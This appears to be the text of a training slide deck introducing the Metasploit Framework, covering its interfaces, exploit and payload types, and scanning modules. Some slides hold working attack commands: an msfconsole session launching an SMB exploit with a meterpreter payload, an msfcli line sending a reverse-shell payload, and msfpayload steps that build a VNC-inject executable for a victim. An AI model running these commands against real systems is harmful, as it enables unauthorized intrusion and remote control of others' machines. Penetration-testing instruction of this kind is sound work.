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Who Am I

 Chris Gates
 CISSP, GCIH, CPTS, CEH, A+, Network+, 

Security+, MCP 2003
 Columnist on EthicalHacker.net
 VP of Operations LearnSecurityOnline.com



  

Why am I here

 Talk about the Metasploit Framework
 http://framework.metasploit.com/ 

http://framework.metasploit.com/


  

Where we are going...

 Metasploit Framework Background
 Framework Interfaces
 Exploit Types
 Payload Types
 Auxiliary Modules
 Examples



  

Metasploit Framework

 Who wrote it?

 Version 1: HD Moore
 Version 2: HD Moore, spoonm, skape
 Version 3: HD Moore, spoonm, skape as core 

developers; contributions from many others



  

Metasploit Framework

 What is it?
 “The Metasploit Framework is a development 
platform for creating security tools and exploits. 
The framework is used by network security 
professionals to perform penetration tests, system 
administrators to verify patch installations, 
product vendors to perform regression testing, 
and security researchers world-wide.”



  

Metasploit Framework

 What does it do?
 “The Metasploit Framework consists of tools, 

libraries, modules, and user interfaces. The 
basic function of the framework is a module 
launcher, allowing the user to configure an 
exploit module and launch it at a target 
system. If the exploit succeeds, the payload 
is executed on the target and the user is 
provided with a shell to interact with the 
payload.“



  

Metasploit Framework

 So what can I do with it?
 Provides security testers with:

 Tons of reliable exploits for penetration 
testing

 Ability to change payloads at run time
 Tools to create reliable exploits (exploit-dev)
 Lots of fun other tools (auxiliary modules)
 Open source, build your own tools to suit your 

needs



  

Metasploit Compatibility 

 3.0 written in Ruby, 2.x Perl

 Runs on Linux, Mac OS X, BSD, Win32

 Dependencies pretty easy to install on *nix 
platforms (apt-get, rpm, emerge, port)

 Windows version comes with handy installer
 Only get web interface; msfconsole and msfcli 

only in the web “instance” of metasploit 
 Also runs with Cygwin

 You're on your own to get the appropriate 
packages installed but get the “nix-like 
environment



  

Metasploit Overview

Exploit Preamble

Get Connection

Launch Attack

Create Payload

Payload Handler

User Supplied
 Options

Exploit Target
Values

Encoders

Metasploit
Shellcode

Library

Adapted from Shah, HITB 2006, writing MSF plugins



  

Metasploit Interfaces

 msfgui
 msfweb
 msfconsole
 msfcli



  

msfgui



  

msfweb



  

msfconsole



  

msfconsole

msf > use exploit/windows/smb/ms06_040_netapi 
msf exploit(ms06_040_netapi) > set RHOST 192.168.170.129
RHOST => 192.168.170.129
msf exploit(ms06_040_netapi) > set SMBPIPE SRVSVC
SMBPIPE => SRVSVC
msf exploit(ms06_040_netapi) > set TARGET 0
TARGET => 0
msf exploit(ms06_040_netapi) > set PAYLOAD 
windows/meterpreter/bind_tcp 
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms06_040_netapi) > exploit



  

msfcli



  

msfcli

 ./msfcli apache_chunked_win32 
PAYLOAD=win32_reverse 
LHOST=192.168.2.1 LPORT=9999 
RHOST=192.168.2.2 E



  

Metasploit exploits

 Exploit Types
 Pretty much any protocol

 UDP, TCP, SMB, HTTP, FTP, SMTP, TFTP, SSH, etc
 Active, Passive, Brute-Force

 Remote, Local, User-Interaction (technically 
remote category)

 Remote: windows/dcerpc/ms03_026_dcom 
 Local: no real local examples, but doable
 User-Interaction--All your browser, “have to click 

on something,” type exploits
 windows/browser/ms06_013_createtextrange 



  

Metasploit payloads

 Definition

 Arbitrary code that is to be executed upon 
successful exploitation

 How a payload works

 Client prepares the payload for execution
 Data may be embedded (cmd to execute, 

hostname, port, etc)
 Client transmits the payload via an exploit
 Target executes the payload



  

Metasploit payloads

 msf> show payloads
 BSD (SPARC/x86)
 Linux
 Solaris (Sparc/x86)
 OS X (PPC/x86)
 Windows
 Unix
 PHP



  

Metasploit payloads
 Inline (Single), Stager, & Stage

 Single [shell_reverse_tcp = inline (single)]

  A self-contained payload that performs a specific task

 Size varies depending on the task

 Example: Reverse or bind command shell

 Stager [shell/reverse_tcp = stager]

  A stub payload that loads / bootstraps a stage

 Size generally much smaller than single payloads

 Passes connection information onto the stage

 Stage

 Similar to a single payload, but takes advantage of staging

 Uses connection passed from the stager

 Not subject to size limitations of individual vulnerabilities

 A stager can also be a stage



  

Metasploit payloads

 Generic Shell Payloads:

 bind TCP (stager and 
inline)

 reverse TCP (stager and 
inline)

 find tag (stager and 
inline)

 find port (inline)

 reverse_ord (Windows 
only)

 *nix

 adduser

 exec

 shell

 Windows

 adduser

 dllinject

 download_exec

 exec

 meterpreter

 shell

 upload_exec

 vncinject

 PHP 

 bind via perl or php

 reverse via perl or php



  

Metasploit payloads
 Bind Shell: setup a socket, bind it to a specific 

port and listen for connection. Upon accepting a 
connection spawn a shell.  Victim has to allow 
incoming connections on selected port.

 Reverse Shell: instead of binding to a port waiting 
for connection, the shellcode simply connect to a 
predefined IP and port number and spawn a shell.    

 Find Tag:  find socket style payloads that search 
for a socket based on the presence of a tag on the 
wire.

 Find_Port: payloads that search for a socket by 
comparing peer port names relative to the target 
machine.



  

Metasploit payloads

 Ordinal Payloads: Uses static ordinals in 
WS2_32.DLL to locate symbol addresses.  Leads to 
very tiny win32 stagers (92 byte reverse, 93 byte 
findsock)

 Reverse Http:  called PassiveX payloads in 2.x.  
Tunnel communication over HTTP using IE 6.  
Payload modifies registry and launches IE, IE loads 
custom ActiveX control to stage the payload, Uses 
standard IE proxy and authorization settings, Can 
be used to inject VNC, Meterpreter, custom dlls.

 Adduser:  Executes the net user  x x /add & net 
localgroup administrators x /add

 Downloadexec: Download a .exe from a URL and 
execute it



  

Metasploit payloads

 Uploadexec: uploads a .exe from local computer 
and executes

 Exec: execute a command of your choice

 Dllinject: injects a custom dll (you'll have to supply 
the dll)

 VNCinject: injects a custom VNC server dll into 
memory 

 Meterpreter: the super payload, custom dll 
injected into memory (more on Day2); tons of post-
exploitation tools



  

Metasploit auxiliary 
modules

  Anything not an “exploit”

  Discovery and fingerprinting

 sweep_udp, smb/version, scanners, dcerpc, 
http version, http put

 Network protocol “fuzzers”

 Wireless fun
 Denial of service methods

 Exploits that don't have payloads
 Administrative access exploits



  

Metasploit auxiliary 
modules

 Sweep_udp



  

Metasploit auxiliary 
modules

 Sweep_udp



  

Metasploit auxiliary 
modules

  smb_version



  

Metasploit auxiliary 
modules

  smb_version



  

Metasploit auxiliary 
modules

  mssql_ping



  

Metasploit auxiliary 
modules

  mssql_ping



  

Metasploit auxiliary 
modules

  mssql_login



  

msfconsole



  

msfconsole

 Msfconsole is your “bread and butter”
 Powerful and fast
 Allows you to also use system command 

from within the msf shell ie ping, nmap
 Allows you to easily list available exploits, 

payloads, configure global options
 Decent help menu (but you need to know 

what you are doing )
 Tab completion



  

msfconsole – help menu



  

msfconsole – show exploits



  

msfconsole – use exploit/os/



  

msfconsole – show info



  

msfconsole – set variables



  

msfconsole – set payload



  

msfconsole – show options



  

msfconsole – show advanced



  

msfconsole – show evasion

For more info check out Thermoptic Camouflage BH 2006 talk 
http://metasploit.com/confs/blackhat2006/blackhat2006-thermoptic.pdf



  

msfconsole – exploit



  

Fun Stuff

 msfd - msf daemon 
 setting your msf web to listen to a 

“public” IP
 msfpayload – creating an .exe you can 

run on the victim so you can interact with 
msf



  

msfd



  

msfweb 

 Changing the listening interface of msfweb

 ./msfweb -a 192.168.0.100
 edit the msfweb file to change the default 

host.



  

msfweb 

 Changing the listening interface of msfweb



  

msfpayload 

Using msfpayload to create an .exe of a payload 
to run on a remote host.

Create the executable:

cg@segfault:~/evil/msf3$ ./msfpayload windows/vncinject/bind_tcp 
LPORT=7777 X > Bvnc.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/vncinject/bind_tcp
 Length: 201
Options: LPORT=7777

After you execute it on the remote host run:

cg@segfault:~/evil/msf3$ ./msfcli exploit/multi/handler 
PAYLOAD=windows/vncinject/bind_tcp LPORT=7777 
RHOST=192.168.170.128 DisableCourtesyShell=TRUE E



  

msfpayload 



  

msfpayload 



  

Links

 Fun Metasploit Links
 Framework List Archives

 http://www.metasploit.com/archive/framework/threads.html  
 Metasploit Wiki

 http://en.wikibooks.org/wiki/Metasploit 

 Metasploit Support Page (links to APIs)

 http://framework.metasploit.com/msf/support 

 MSF eXploit Builder by Jerome Athias

 https://www.securinfos.info/metasploit/MSF_XB.php 

http://www.metasploit.com/archive/framework/threads.html
http://en.wikibooks.org/wiki/Metasploit
http://framework.metasploit.com/msf/support
https://www.securinfos.info/metasploit/MSF_XB.php


  

Thanks

  Big thanks to:

 EthicalHacker.net Don
 HD Moore
 MC, phn1x, & Dean 
 Joe from LearnSecurityOnline.com



  

Contact

chris [at] LearnSecurityOnline [dot] com

http://www.LearnSecurityOnline.com 
http://www.EthicalHacker.net 

http://carnal0wnage.blogspot.com

http://www.LearnSecurityOnline.com/
http://www.EthicalHacker.net/
http://carnal0wnage.blogspot.com/


  

DEMOS!



  

QUESTIONS?


